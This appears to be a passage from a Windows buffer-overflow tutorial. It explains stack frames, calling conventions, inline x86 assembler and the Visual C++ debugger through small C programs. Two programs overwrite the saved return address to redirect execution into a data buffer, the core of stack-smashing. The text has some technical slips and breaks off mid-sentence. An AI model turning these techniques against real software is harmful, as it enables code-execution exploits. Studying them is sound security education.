Buffer
Overflow - Windows
|
Security
is one of the fastest-growing areas in information technology management.
Denial Of Service, Buffer Overflows, Email viruses etc have become general
terms in today’s info world. There may not be a single computer user world over
who has not been hit by these and many more attacks. Therefore, recently a lot
of emphasis is laid on securing the computer systems from intruders and viruses
as the effects of these attacks can be so drastic and thus irreparable.
In our
papers, we will look at demystifying these grave attacks, from the coder’s
point of view. Our belief is that to understand these attacks, one needs to be
in the shoes of the hackers/crackers. And mind you, every hacker/cracker is a
born programmer.
This book
assumes that you have gained some knowledge of the C programming language. In
the process, we will re-revise some basic concepts and simultaneously learn
assembler too.
We can go
on and on but we’d rather take a break and start hacking.
We start
our journey with the vulnerability of buffer overflow
Buffer overflow technically means an overflow of the buffer.
Every program is allocated some space or given buffer area in which it can
write. A Buffer overflow occurs when the program spills over this buffer or
tries to write in the area it is not supposed to. This allows an intruder to
overwrite the existing instruction in that area, thereupon gaining full control
over the system. However, before we understand the
mechanism of this attack, we need to be well versed with memory management, a
few concepts of stack and heap memory area.
Stack Memory
The programs given below give an analysis of memory allocations
when a program is loaded.
A1.c
main()
{
abc(1,2);
pqr(3,4);
xyz(5,6);
abc(7,8);
}
abc(int i,
int j)
{
printf("%p
%p abc\n",&i,&j);
}
pqr(int x,
int y)
{
printf("%p
%p pqr\n",&x,&y);
}
xyz(int i,
int j)
{
printf("%p
%p xyz\n",&i,&j);
}
>cl a.c
>a
0012FEDC 0012FEE0 abc
0012FEDC 0012FEE0 pqr
0012FEDC 0012FEE0 xyz
0012FEDC 0012FEE0 abc
The above
program at first glance may seem simplistic, but it is our first cut at
learning internals. We are calling three functions abc, pqr and xyz with two
parameters each. The two parameters in functions abc and xyz are named as i and
j and for function pqr, the name is changed to x and y.
The program
simply displays the addresses of parameters in each function. What is
noteworthy here is that all functions display the same addresses for their
parameters. Thus, it can be safely stated that the parameters to each function
begin at the same place in memory. As in, for function abc, parameters i and j
have been allocated the same memory locations as that of p and q for function
pqr.
Thus,
memory allocated for parameters of function is always the same for every
function. Meaning to say, that there is no permanent memory allocated for
function parameters.
A2.c
main()
{
abc();
pqr();
xyz();
abc();
}
abc()
{
int i,j;
printf("%p
%p abc\n",&i,&j);
}
pqr()
{
int k,l;
printf("%p
%p pqr\n",&k,&l);
}
xyz()
{
int i,j;
printf("%p
%p xyz\n",&i,&j);
}
0012FED8
0012FED4 abc
0012FED8
0012FED4 pqr
0012FED8
0012FED4 xyz
0012FED8
0012FED4 abc
The next example
is a slightly modified version. The functions abc, pqr and xyz have remained
the same but they do not accept parameters anymore. But variables are created
within these functions. Nevertheless, like before, all the printf’s display
identical addresses. This simply reassures the belief that local variables in a
function are allocated the same address each time a function is called.
The
technicality here is that when a function exits out, all the memory allocated
to it is given to the next function to be called. Thus, functions are given
volatile memory, as in, the memory allocated to it is reused by another
function. Also, variable names have no meaning; it is the addresses assigned to
these variables that hold value.
A3.c
main()
{
abc(1,2);
pqr(3,4);
xyz(5,6);
abc(7,8);
}
abc(int i1,
int j1)
{
int i,j;
printf("i1=%p
j1=%p i=%p j=%p abc\n",&i1, &j1 , &i,&j);
}
pqr(int k1
, int l1)
{
int k,l;
printf("k1=%p
l1=%p k=%p l=%p pqr\n",&k1, &l1 , &k,&l);
}
xyz(int i1,
int j1)
{
int i,j;
printf("i1=%p
j1=%p i=%p j=%p xyz\n",&i1, &j1 , &i,&j);
}
i1=0012FEDC
j1=0012FEE0 i=0012FED0 j=0012FECC abc
x1=0012FEDC
y1=0012FEE0 x=0012FED0 y=0012FECC pqr
i1=0012FEDC
j1=0012FEE0 i=0012FED0 j=0012FECC xyz
i1=0012FEDC
j1=0012FEE0 i=0012FED0 j=0012FECC abc
This
program is a merger of the above two programs. The functions names are the same
but now not only do they accept two parameters, the function further creates
two local variables on the stack. Printing out the addresses of the local
variables and the parameters bring no surprises at all. They all remain the
same for every function.
A detailed
version follows.
The value
of 1 and 2 given to function abc are passed on to parameters i1 and j1. These
parameters to functions take up some area in memory called the stack. The
internals of stack memory will be explained in just a short while.
The
parameters that are passed to a function are placed on the stack in the reverse
order, therefore first 2 goes on this stack memory and then 1. Figure 1 shows
these values on the stack.
Stack pointer before calling function abc 0x0012fee4 0x0012fee0 Moves down 0x0012fedc 0x0012fed8 0x0012fed4 0x0012fed0
Figure 1
(Last In First Out-LIFO model)
For sake of
understanding, lets take the actual values, where the stack begins at memory
location 0x0012fee4. The value 2 is pushed or copied at this memory location thus
moving the stack pointer to 0x0012fee0 and giving this address to j1, followed
by 1 which is four memory locations away, i.e 0x0012fedc. This is very much
proved by the program output, which show the same address locations for
parameters i1 and j1.
Once the
values are placed on the stack, the function code is executed. This function,
abc, creates two local variables i and j. These are created at positions
0x0012fed0 and 0x0012fecc as per the output. This goes to prove that besides
parameters, local variables also use up the stack memory. The difference of 8
bytes between the parameters and variables is given to function call. We know why but hang on, one concept at a
time.
Now when
the function quits out, the stack resets back to its original position of
0012fee4. A sure indication that someone moves the current memory pointer/the
stack pointer up by 24 bytes. And, the same process is repeated for all
function calls.
A4.c
main()
{
abc(1,2);
}
abc(int i1,
int j1)
{
int i,j;
printf("i1=%p
j1=%p i=%p j=%p abc\n",&i1, &j1 , &i,&j);
pqr(3,4);
}
pqr(int k1
, int l1)
{
int k,l;
printf("k1=%p
l1=%p k=%p l=%p pqr\n",&k1, &l1 , &k,&l);
xyz(5,6);
aaa(8,9);
}
xyz(int i1,
int j1)
{
int i,j;
printf("i1=%p
j1=%p i=%p j=%p xyz\n",&i1, &j1 , &i,&j);
}
aaa(int i1,
int j1)
{
int i,j;
printf("i1=%p
j1=%p i=%p j=%p aaa\n",&i1, &j1 , &i,&j);
}
i1=0012FEDC
j1=0012FEE0 i=0012FED0 j=0012FECC abc
k1=0012FEC4
l1=0012FEC8 k=0012FEB8 l=0012FEB4 pqr
i1=0012FEAC
j1=0012FEB0 i=0012FEA0 j=0012FE9C xyz
i1=0012FEAC
j1=0012FEB0 i=0012FEA0 j=0012FE9C aaa
The above
program reinforces the same principles that parameters and local variables are
created on the stack.
The entry
point function main calls function abc. Since, the stack starts at memory
0x0012fee4, the variables i and j are created at the memory locations
0x0012fed0 and 0x0012fecc respectively. There is a gap of 8 bytes as seen
before.
At this
point, the stack pointer is positioned at 0x0012fecc. When function pqr is
called from within abc, the parameters 4 and 3 are pushed on the stack. This is
in the reverse order, therefore first 4 goes on the stack at 0x0012fec8 and
then 3 at 0x0012fec4. These become the addresses of parameters k1 and l1
respectively. The call then allocates 8 bytes on the stack for itself, thus
giving the variables k and l the address of 0x0012feb8 and 0x0012feb4
respectively.
The next
two function-call of xyz and aaa both give the same values. For the call of
function xyz with function pqr, the stack is now at 0012feb4. The parameters 5
and 6 are pushed at address location 0x0012feb0 and 0x0012feac respectively.
The variables i and j then are allocated after moving 8 away, thus end up at
locations 0012Fea0 and 0012Fe9c. When this function ends, the system moves the
stack up the same amount that it moved down. Therefore, the stack at the end of
the call of xyz will come to location 0012Feb4.
The call of
the aaa function follows the same process, thus bringing the stack back to
0012Feb4 in the end. When function pqr exits, the stack returns to 0012Fecc.
As a
result, at the end of each function, the stack moves back to where it was
before the function is called.
This theory
can be tried out with as many functions, but eventually, each will see the
stack at the same position. These functions in turn may call as many functions
as well, however the same rules apply. At the end of a function call, the stack
moves up as much as it had moved down. Each one cleans up its own mess.
A5.c
main()
{
int i,j;
i = 2;
j = 3;
printf("Address
of i=%p j=%p\n",&i,&j);
abc(i,j);
printf("i=%d\n",i);
}
int abc(int
x, int y)
{
int *z;
printf("Adress
of z=%p x=%p y=%p\n",&z,&x,&y);
z = &y;
z++;z++;
printf("z=%p\n",z);
*z = 8;
}
Address of
i=0012FEE0 j=0012FEDC
Adress of z=0012FEC8
x=0012FED4 y=0012FED8
z=0012FEE0
i=8
This last
example on stack shows how dangerous stack manipulation can get. The function
main is the first function to be called and in all other aspects, it behaves in
a similar manner like the other functions when dealing with stack memory. The
local variables i and j in main are also created on the stack at 0x0012fee0 and
0x0012fedc.
The call to
function abc will place the values 3 and 2 on the stack at locations 0012Fed4
and 0012Fed8 before taking up 8 bytes for itself. The parameters x and y are at
the above addresses.
The pointer
variable z is stored at location 0x0012fec8. This variable is initialized to
address of parameter y, which is a value of 0x0012fed8. Thereafter, z is
incremented by 8, hence its new value is 0x0012fee0. But, if you remember, this
is the address occupied by variable i.
Further,
using the features of pointers, a value of 8 is written to this location,
thereupon actually changing the value of variable i. This is the power of pointers.
One pointer variable, if it wants can overwrite the value of a variable in
another function indirectly. Since, all local data is stored on the stack, it
is susceptible to being overwritten.
Therefore, call someone else’s function with care.
Assembler code in C programs
The next
series of programs explain assembler programming. We believe that every
programmer in the world should understand assembler. Unfortunately, our view is
not held by the majority. It does not matter which language you use to write
your code in, when it finally executes, it will be assembler code and not your
favorite language code that executes. We are not suggesting that you write your
code in assembler, all that we are saying is using assembler helps in
understand the internals of computing better.
A
microprocessor or a computer is made up of entities or memory called registers.
These registers are the basic building blocks that any assembler programmer
works with and they are given names like eax, ebx etc.
Whenever we
encounter the return instruction in C like ‘return 100’, two things happen.
One, the value 100 is placed in the eax register and two, the function ends
thus control goes back to the function that called it. It is assumed here that
any value returned by the called function will be found in the eax register.
A6.c
main()
{
int i;
i=abc();
printf(“%d\n”,i);
}
int abc()
{
return 100;
}
-------
main()
{
int i;
i = abc();
printf("%d\n",i);
}
int abc()
{
__asm
{
mov eax,100
}
}
>cl a.c
>a
100
The above
program simulates the return instruction by simply placing a value in a
register. The most common instruction is the mov instruction, which normally
makes up over 25% of any assembler program. The syntax demands first the
destination register, then a comma and then the entity that is to be placed in
the destination register. Thus the instruction mov eax,100 will place the value
100 in the eax register.
To place
the assembler instruction in a C program, we enclose the instructions within
the keyword __asm with the normal curly braces. In the above program the
instruction set is placed in function abc. When the function executes, it
simply moves/copies the value 100 in the eax register and then quits.
Coming back
to function main, the value placed in the eax register is given to variable i.
Thus, there is no way that the program knows or cares whether it is the return
statement or a manual insertion of a value in the eax register that has done
the job.
A7.c
main()
{
__asm
{
push 10
push 20
}
abc();
}
int abc(int
i , int j)
{
printf("%d
%d\n", i , j);
}
20 10
error
The next
series of programs show how a function call in C is converted to assembler
code. When there is a call to a function, first, the parameters get pushed on
the stack in the reverse order. In assembler, it is the push instruction that
is used to push anything on the stack.
As a
result, a call to abc function in C which is abc(20,10); will first push 10 on the
stack using the push 10 instruction, which is then followed by the push 20
instruction . The stack will now look like figure 4.
Thereafter
the abc function is called in the normal C way but with no parameters.
Function
abc is oblivious to the number of parameters it gets called with. All that it
assumes is that it is called with the parameters present on the stack. It
displays their values and then returns to main. However, an error results. This
is because the stack is not restored back to where it should be. We moved it
down 8 bytes while supplying parameters, so once the function call ends, it has
to be restored back.
The next
program repairs this glitch.
A8.c
main()
{
__asm
{
push 10
push 20
}
abc();
__asm
{
add esp,8
}
}
int abc(int
i , int j)
{
printf("%d
%d\n", i , j);
}
20 10
The program
amends the error by adding 8 to the stack pointer using the esp register. It is
the esp register which decides where the stack starts in memory. If its value is
100, the stack is said to start at memory location 100. With every push
instruction, the stack moves down 4 bytes or goes 4 less.
The add
instruction takes a register as the first parameter followed by the incremental
value hence ‘add esp,8’. Since the stack is restored back to its original
position as before the function call, no errors are seen anymore.
A9.c
main()
{
printf("esp=%x\n",esp());
__asm
{
push 10
}
printf("esp=%x\n",esp());
__asm
{
push 20
}
printf("esp=%x\n",esp());
abc();
printf("esp=%x\n",esp());
__asm
{
add esp,8
}
printf("esp=%x\n",esp());
}
int abc(int
i , int j)
{
printf("%d
%d\n", i , j);
}
int esp()
{
__asm
{
mov eax,esp
}
}
esp=12fedc
esp=12fed8
esp=12fed4
20 10
esp=12fed4
esp=12fedc
The above program
shows a newly added function called esp. This function simply copies the value
in the esp register to eax. This means that the return value of the function is
now the stack position. As a result, before the first push, the stack position
is seen at 12fedc and after the push 10 instruction, the stack shows a value of
12fed8 which is 4 less. Thus the stack has moved down 4 bytes.
The second
push 20 instruction moves the stack further down to12fed4. When function abc
ends, the stack is at the same position of 12fed4, which is what it was before
the function call. And before winding up, 8 is added to the stack position to
move it up to 12fedc. These numbers re-confirm our explanation.
A10.c
int abc(int
i , int j)
{
printf("%d
%d\n", i , j);
}
main()
{
__asm
{
push 10
push 20
call abc
add esp,8
}
}
20 10
A function
call in C has its equivalent in assembler; it is the call instruction. This
instruction only requires the actual physical address of the function to be
called. In this program, instead of giving the address of the function, we have
given it the function name. The system internally replaces the name of the
function with its address.
The only
rationale in placing the function abc before main is that the compiler reads
the entire file only once. It is a single pass one, therefore it does not
reread the c file. Hence, it needs all function names to be created first
before they can be used.
A11.c
int abc(int
i , int j)
{
printf("%d
%d\n", i , j);
}
main()
{
printf("%p\n",abc);
}
00401000
The name of
a function in C represents the address of the function. Therefore, the address
of abc function when displayed shows 401000 (on our machine).
A12.c
int abc(int
i , int j)
{
printf("%d
%d\n", i , j);
}
main()
{
__asm
{
push 10
push 20
mov
eax,401000h
call eax
add esp,8
}
}
20 10
Once we
know the address of function abc as 401000, we place this value in the eax
register. The call instruction is then given the address or the function name
through this eax register.
For the call
instruction, the value given to it is where it assumes some program resides.
Hence, it starts treating the bytes at that location as program code and starts
executing them.
Just for
your information, it is the job of the compiler/linker to replace function
names with actual addresses.
A13.c
#include
<windows.h>
main()
{
char *p =
"hi";
char *q =
"bye";
printf("p=%p
q=%p\n",p,q);
MessageBox(0,p,q,0);
}
>cl a.c
user32.lib
p=00408040
q=00408044
In all our
earlier programs, the code of the function, i.e. abc resided in the same file
with main. In this program, we have attempted to call the MessageBox function
whose code lies in a dll, user32.dll. This dll is copied by the system while
installing windows. Since the code lies in an external file, the
complier/linker, the cl command must have the lib file user32.lib explicitly
added.
A lib or a
library refers to the dll in which the code of a function resides. In the same
manner, file user32.lib identifies the dll in which the code of the MessageBox
function resides, which is user32.dll.
Besides,
the above program also gives the address locations of the two strings p and q
in the data section of the exe file, which is at 00408040 and 00408044.
The
MessageBox function takes two strings as parameters as well as two zeroes,
where the first zero stands for the parent window handle and the last zero is
the type of message box that is to be displayed.
A14.c
#include
<windows.h>
main()
{
char *p =
"hi";
char *q =
"bye";
printf("%p
%p\n",p,q);
__asm
{
push 0
push
0x00408040
push
0x00408044
push 0
call DWORD
PTR MessageBox
}
}
This
program attempts at convert the call of the MessageBox function into assembler.
Bearing in mind that the parameters are pushed in the reverse order, first the
type of MessageBox is pushed, followed by the memory address of the two strings
and finally the window handle is placed on the stack.
While
calling the MessageBox function, the DWORD PTR is a ‘necessary-evil’, which we
will explain later. Further, all function in windows use the standard calling
convention that requires the called function and not the callee to restore the
stack to its original position. As a result, the function MessageBox before
quitting, would be adding 16 bytes to the stack.
Due to
this, the stack is not restored in the program for it is the job of the
MessageBox function to clean up its mess. The advantage in having standard
calling function is that there is less code regardless of which, calling the
MessageBox function 10 times, would ask for 10 add instructions, in contrast to
one add instruction in the function itself.
A15.c
#include
<windows.h>
main()
{
HANDLE h;
char *p;
printf("%p\n",MessageBox);
h =
LoadLibrary("user32.dll");
p =
GetProcAddress(h,"MessageBoxA");
printf("h=%p
p=%p\n",h,p);
}
77E375D5
h=77E10000
p=77E375D5
The name of
a function gives the address location of its code in memory. This had been
showcased using the abc function, in one of the above programs. This concept is
reused here to find out the address of the MessageBox function.
There are
two ways to it. The first is the easiest one, i.e. using the printf function.
The value is given as 77E375D5.
There is
very much a possibility that you may see a different value on your machine as
this value depends on where user32.dll is loaded in memory and where this
function resides in this dll. The value also depends on the version of Windows
and the service pack installed. Each version of windows may load user32.dll in
a different memory location. Besides, since the code of user32.dll is written
by Microsoft, it is their prerogative to decide where MessageBox function
resides in the dll.
The second
alternative is to use a function called LoadLibrary. The sole task of this
function is to load the dll user32.dll into memory. If the dll is already
present in memory, it is not loaded again. The return value of this function is
the memory location of the loaded dll. The value given is 77E10000. Thereafter,
using the GetProcAddress function, the actual address of the function within
this dll is achieved.
You may
notice that we have given the function name as MessageBoxA. The reason behind
it is that MessageBox in user32.dll has two names, MessageBoxA and MessageBoxW.
If it is the ascii version then MessageBoxA is to be used whereas if it is the
Unicode version then MessageBoxW is to be used. Since we are following the
ascii method, MessageBox internally boils down to MessageBoxA. There is a
#define in windows.h that converts the name MessageBox either to MessageBoxW or
MessageBoxA.
The
function GetProcAddress gives the same value of 77E375D5 as seen with the
printf function.
A16.c
#include
<windows.h>
main()
{
char *p =
"hi";
char *q =
"bye";
LoadLibrary("user32.dll");
printf("%x
%x\n",p,q);
__asm
{
push 0
push
0x00408040
push
0x00408044
push 0
mov eax ,
0x77E375D5
call eax
}
}
Using the
same principles learned earlier, the address value of the MessageBoxA function
0x77E375D5 is placed in the register eax and then the call instruction is
called. We do have to specify the library user32.lib as we are making an
explicit call to the MessageBoxA function.
A17.c
#include
<windows.h>
main()
{
char *p =
"hi";
char *q =
"bye";
LoadLibrary("user32.dll");
printf("%x
%x\n",p,q);
__asm
{
push 0
push
0x00408040
push
0x00408044
push 0
push
0x77E375D5
add esp,4
call DWORD
PTR [esp-4]
}
}
There are
different ways of giving the call instruction with the address of the function.
One of the many ways is by pushing the address of the function, in our case 0x77E375D5
on the stack. But this moves the stack down by 5 and not four.
A value of
four is added to esp so that the stack points to the last parameter value 0 and
then the call instruction is given. Along with it, instead of specifying esp by
itself, we put square brackets around it. This indicates that the value of esp
is not to be taken as is, instead it must behave like a pointer. So, once the
value of esp is figured out, next 4 bytes at that memory location are to be
picked up. But since the stack has moved up by 4, which means that the stack is
at parameter value 0, an expression of esp – 4 is given, as the address of
function MessageBoxA is stored at this location.
A18.c
main()
{
int p = 6;
int q = 7;
printf("p=%p
q=%p\n",&p,&q);
abc(3,4);
pqr();
}
int abc(int
i , int j)
{
int x = 1;
int y = 2;
printf("i=%p
j=%p\n",&i,&j);
printf("x=%p
y=%p\n",&x,&y);
printf("abc
%x %x %x %x %x %x %x\n");
}
int pqr()
{
printf("pqr
%x %x %x %x %x %x %x\n");
}
p=0012FEE0 q=0012FEDC
i=0012FED4 j=0012FED8
x=0012FEC4 y=0012FEC8
abc 1 2 12fee4 401031 3 4 7
pqr 12fee4 401038 7 6 12ffc0
40125c 1
Figure 2
Lets take a good look at Figure
2. Here first, variables p and q first are created on the stack at locations
0012fee0 and 0012fedc and then their values 6 and 7 are placed in there. The
abc function is called with parameters 3 and 4 which get placed on the stack at
0012fed4 and 0012fed8 and stored in variables called i and j. Thereafter, two
variables x and y are created on the stack at 0012fec4 and 0012fec8 with values
of 1 and 2 respectively.
The abc function simply prints
out the next 7 values on the stack, not considering the printf string. The
output shows two local variables x and y whose values are 1 and 2. Then the two
numbers placed by the call instruction for function abc, 0012fee4 and 401031
are seen followed by the two parameters i and j with values 3 and 4. Finally,
the value of variable q in main at 7 is displayed.
Now lets understand what the
call instruction does. This call instruction takes up 5 bytes in memory and
hands over control to another function, which may be anywhere in memory. In
short, the call instruction actually transfers control to another memory
location. This called function will execute the code it caries and when it
ends, control should now go back to the next line following the call instruction.
The point here is that the address of this next instruction must be saved
somewhere. The call instruction is known to use the stack extensively.
For instance, if the call
instruction begins at memory location 100, the next instruction to be executed
would begin at location 105. Now, this value 105 must be saved so that it
becomes the next instruction to be executed when the called function ends. The
eip register holds address of the next instruction to be executed.
If a chunk of code placed at a
certain memory location is to be executed, its address is first to be placed in
the eip register. The call instruction is then used to transfer control to this
area. However, before it passes on control, it adds 5 to its current location
and stores the value on the stack. So if the call instruction is at 100, 105
gets stored on the stack. This address is that of the next statement after
call. Meaning to say that once the function returns control back, it will start
execution at 105.
This sustains the fact that a
function has to take care of the stack memory it uses since the return address,
when the function ends, can be found only on the stack. Thus, if the function
moves the stack 12 down, as in our case, it has to move the stack up by 12
bytes. For these reasons, the last line of every function is the ret
instruction.
This instruction looks at the
restored stack position and the value it finds there, places it in the eip
register. Moreover, as learnt earlier, the eip always stores the address of the
code that is to be executed. Thus, control is transferred back to the
instruction placed after call.
As per our program, the
function abc, when it returns, will execute code at 401031 as this value is
found on the stack. Here, we can safely assume that at memory location 401031-5
i.e. 40102c is the call instruction for abc. Similarly, when function pqr
returns, code at memory location 401038 is called.
Now lets understand the four
bytes that get pushed on the stack. These bytes are placed by the compiler and
come into picture after the return address.
The job of the compiler is to
generate machine-language instructions. In our function, we have parameters and
local variables. These parameters come before the return address and after the
local variables; thus it keeps the stack moving up and down.
The parameters and variables
are all with respect to the stack and they are in reference constantly. Thus,
at the start of every function, some standard code is placed called by the
function prolog. This code first pushes the value in the ebp register on the
stack. Bear in mind, that a register value is placed on the stack so that its
value is saved since the register will be overwritten by other value. Any
register value that would be overwritten must be saved first.
Accordingly, when a function
ends and returns control back to the calling program, all the registers must
carry the same values that it held when the function was called. The called
functions are also known to erase the values they have placed on the stack.
The value of the esp register
is moved into ebp. All positive offsets from ebp refer to parameters whereas
all negative ones refer to local variables. Therefore, ebp is termed to be the
base pointer and is very useful when designing the stack frame. When function
abc ends, the stack is moved up by 8 to erase the 2 variables created on the
stack.
The epilogue function does the
reverse of the prolog. It pops the value of ebp off the stack into the ebp
register thus bringing the stack to the position where the call stored the next
executable instruction. The ret instruction finally pops this value into the
eip register.
To sum up the earlier works,
when a function is called, the call instruction places the address of the next
immediate instruction on the stack. Then the function prolog places the value
of ebp on the stack and points ebp to esp in order to refer to variables and
parameters. The function may create local variables on the stack but eventually
cleans it up too. The epilogue function then pops ebp off the stack and the ret
instruction transfers control to the instruction after call.
In this manner, functions
placed anywhere in memory return control back to the executing code, all with
heavy usage of stack.
A19.c
main()
{
abc(10,20);
}
abc(int i ,
int j)
{
int p =
100;
int q =
200;
printf("i=%p
j=%p p=%p q=%p\n",&i,&j,&p,&q);
__asm
{
mov [ebp-4]
, 4
mov DWORD
PTR [ebp-8] , 3
mov 8[ebp]
, 2
mov DWORD
PTR 12[ebp] ,1
}
printf("p=%d
q=%d i=%d j=%d\n",p,q,i,j);
}
i=0012FEDC
j=0012FEE0 p=0012FED0 q=0012FECC
p=4 q=3 i=2
j=1
Figure 3
Figure 3 is
almost the same diagram as seen before. But, for one last time we will repeat
the workings.
The two values
20 and 10 are assigned to parameters i and j starting at stack position
0x0012fee0 and 0x0012fedc. The call instruction pushes the next instruction
address of 0x0012fed8 on the stack before the function prologue pushes the
value of ebp on the stack. At this point, the stack pointer or esp has a value
of 0x0012fed4 which is then moved into the ebp register.
The
variables p and q are then created at 0x0012fed0 and 0x0012fecc. In the
assembler code, by moving 4 into the memory denoted by ebp-4 becomes
0x0012fed4-4 or 0x0012fed0 which is also the address of variable p. Thus, ebp-8
or 0x0012fecc becomes the address of variable q. The local variables are
created after the function prolog and therefore have a negative offset visa v
the constant value of ebp. Moreover, by adding 8 to the ebp register is where
parameter i is located, and adding 12 takes to j.
Like a
pointer reference the reference can be written as [ebp+8] as well as 8[ebp].
Thus, a compiler while generating assembler code uses similar rules while
referring to parameters and local variables.
It is
preferred using the ebp value to refer to variables and parameters instead of
esp as the value of esp changes constantly.
A20.c
main()
{
printf("Main
%p\n",main);
__asm
{
push
0x00401000
ret
}
}
Main 00401000
Main 00401000
Main 00401000
…
The above
program goes into an infinite loop thereby explaining the importance of the ret
keyword.
The
function Main starts in memory at 0x00401000. The push instruction pushes the same
value on the stack, thus the stack now contains the address of function main.
When the
ret instruction is executed, it sees 0x00401000 on the stack. So, it moves the
stack up by 4 and puts this value in the eip register. As we remember, the eip
register holds the address of the next executable code, thus control passes on
to this address. This, in effect, being the address of function Main executes
the function and thus becomes an endless loop.
A21.c
main()
{
int x = 11;
abc();
x = 4;
printf("x=%d\n",x);
}
abc()
{
int a;
int *p;
printf("a=%p
p=%p \n",&a, &p);
p = &a ;
p = p + 3;
printf("%p\n",p);
*p = *p +
7;
}
a=0012FED0
p=0012FED4
0012FEDC
x=11
ESP p=&a p=p+3 *p = *p+7
Figure 4
The above program
maneuvers the code execution by changing the return address. The workings are
explained below
No values
are pushed on the stack other than the call to the abc function, which places
the address of the next executable instruction on the stack. As you see, the
instruction simply sets the value of variable x to 4. On printing the value,
the address seen is 0x0012fedc. Besides, the function prolog puts ebp on the
stack at 0x0012fed8.
Now within the
abc function, local variable a is created at 0x0012FED0 and p at 0x0012fed4.
Also, the pointer p is set to the address of a i.e. 0x0012FED0. An increase of
3 or 12 bytes sets the variable p to 0x0012fedc. However, this location is the
address of the next executable instruction, which sets the variable x to 4 and
it is 5 bytes after the ‘call’ instruction.
A mov
instruction takes up 7 bytes and a little later, we will display its relevance.
As of now, we set the return address on the stack to a value 7 larger than what
it is. This, in effect, bypasses the code statement x = 4, as a result of which
the program on execution ignores this line completely. The line x = 4 does not
get called and hence x retains the value of 11.
Thus, by
changing the return address on the stack, we can manipulate the next
instruction to be called. This theory is particularly emphasized in the buffer
overflow exploit.
A22.c
char
buf[20];
main()
{
int *p;
buf[0] =
0xcc;
printf("p=%p
buf=%p\n",&p,&buf);
p = &p;
p = p + 2;
*p = &buf;
}
The pointer
p is created on the stack and under normal circumstances, two words above would
be stored the return address of the caller to the main function. This address
can be rewritten on incrementing pointer p by 2 or 8 bytes. At this position is
the address of the array buf instead. As a result, when main completes its
routine, the ret instruction will place the address of buf into eip.
So the code encapsulated in buf will be activated. The assembly instruction given here starts is CC, which denotes the breakpoint interrupt. For that reason, a MessageBox will show up with the options of cancel or ok. Clicking on the cancel button moves into the debugger mode, which is what we will study next.
Using a Debugger
A23.c
main()
{
__asm
{
int 3
}
abc(3,4);
}
int abc(int
i , int j)
{
pqr();
return 5;
}
int pqr()
{
}
This
program is given to understand the workings of a debugger with the framework of
Visual C++ 7.0 as it is the easiest debugger we have come across.
The program
starts with the execution of the instruction int 3 which calls interrupt 3.
This in turn prompts the operating system to display a MessageBox stating that
a breakpoint exception had been reached as seen in figure 8.
Figure 8
Clicking on
the Cancel button switches on to the debugger mode whereas Clicking on the OK
button quits out of the program. Here we click on the yes button and the screen
that comes about is shown in figure 9. It is that of Visual C++ debugger. Your
mileage will vary.
Figure 9
Figure 10
Figure 11
On our
screen, there are three windows namely Memory 1, Register and Disassembly. Now
close all the other windows leaving the above three windows displayed. You can
arrive at the same by clicking on the Debug menu, then windows and thereafter
selecting the above options. The Memory windows seen at the very end in the
Windows option display the contents of any memory location. We will use this
window to see the contents of the stack memory. The stack is nothing but an
area of memory used for a special purpose.
The last
window is the register window that displays the contents of each and every
register.
The good
part of this window is that every register that is changed by an instruction is
reflected in red, thus there is no need of a magnifying glass.
Finally,
the window in between is the one that is called Disassembly. This window
displays the actual assembly code that is generated and executed along with the
memory locations the code resides in. right click in the disassembly window and
select the option of ‘Show code bytes’
The above
program boils down to the following bytes.
00401000: 55 push
ebp
00401001: 8B EC mov
ebp,esp
00401003: CC int
3
00401004: 6A 04 push
4
00401006: 6A 03 push
3
00401008: E8 04 00 00 00 call 00401011
0040100D: 59 pop
ecx
0040100E: 59 pop
ecx
0040100F: 5D pop
ebp
00401010: C3 ret
00401011: 55 push
ebp
00401012: 8B EC mov
ebp,esp
00401014: E8 05 00 00 00 call 0040101E
00401019: 6A 05 push 5
0040101B: 58 pop
eax
0040101C: 5D pop
ebp
0040101D: C3 ret
0040101E: 55 push
ebp
0040101F: 8B EC mov ebp,esp
00401021: 5D pop
ebp
00401022: C3 ret
The
instruction at memory 00401003 is the int 3 instruction, which switches the
program execution into the debug mode. The machine language equivalent op code
for the int 3 instruction is CC. Note that the registers window shows eip
having the address of 401003 at the int 3 instruction.
After this
breakpoint is the call to function abc which takes two parameters, 3 and 4. As
a result, these two values are pushed on the stack, first the value of 4 is
pushed and then 3.
The
function key F11 on the keyboard executes a line of code at a time or single
steps the program. On pressing the F11 key, the eip register shows a change, it
now has the value of 00410004 thus indicating that the next instruction to be
executed will be the push 4. It will take a while, but very soon you will
remember that 6a is the op code for a push instruction which is always followed
by the value to be pushed on the stack.
Before we press
F11 to single step and execute this instruction, lets look at the next task
that will be performed.
The value
of the esp register or the stack pointer is initially at 0x0012fee4. As per our
knowledge, this will reduce by 4 and become 12fee0. Write the words esp in the
memory window so that we explicitly see the stack position and the bytes
contained therein. Also, the number 4 will be on the stack.
On pressing
F11, three things happen. Register eip becomes 401006 thus indicating that the
push 3 will be called next. Register esp becomes 12fee0, 4 less as the stack
moves down and at 12fee0 the values 4 0 0 0 is sited. The stack window must be
scrolled up to see the values.
Press F11
again and the eip register increases by 2 to 401008. The stack reduces by 4 to
12FEDC and the values 3 0 0 0 are placed at stack location 12fedc.
The call
instruction is the next to be called as the eip now has the value of 401008.
Bear in mind that the call op code is E8 followed by the address of the next
instruction to go to. At this point,
the call is relative as the value of 8 specifies 8 bytes from the current
address. The call instruction located at 401008 itself takes up 5 bytes, hence
the code beginning at 40100d will be called. The gap between them is 13 bytes,
8 bytes specified by the call offset and 5 taken up by the call.
The call
instruction also decreases esp by 4 from 12FEDc to 12fed8. Further on, it
places the value 40100d on the stack at position 12fed8. The value found at
this position is 0d 10 40 00 (behavior of a little endian machine) as the lower
bytes are stored first.
The eip
register holds a value of 401011 as the prolog of the function abc is now being
executed. Note that the register ebp has a value of 12fee4, therefore the push
ebp instruction will push this value on the stack apart from reducing the stack
position value by 4 to 12fed4. Pressing F11 gives the stack a new value of
12fed4 and the stack memory contains e4 fe 12 00.
The
following instruction moves the value of esp into ebp, resulting into giving
ebp a value 12fed4.
The pqr
function called from abc lies 8+5 bytes away from the call instruction. Thus,
the call instruction will reduce the stack by 4 to 12fed0 and place the address
401019 on the stack. This is placed as 19 10 40 00. Function pqr again starts
with the instruction of push ebp on the stack and then replaces its value with
esp.
The pop ebp
is part of the function epilogue. This instruction is required to pop the value
of the stack as the value of ebp has been changed in the function routine. The
stack now at 12fed0 will facilitate two things on popping the value. The stack
will be restored to 12fed4 and the ebp register will now contain 12fed4. The
bytes at the current stack position are 19 10 40 00.
The ret
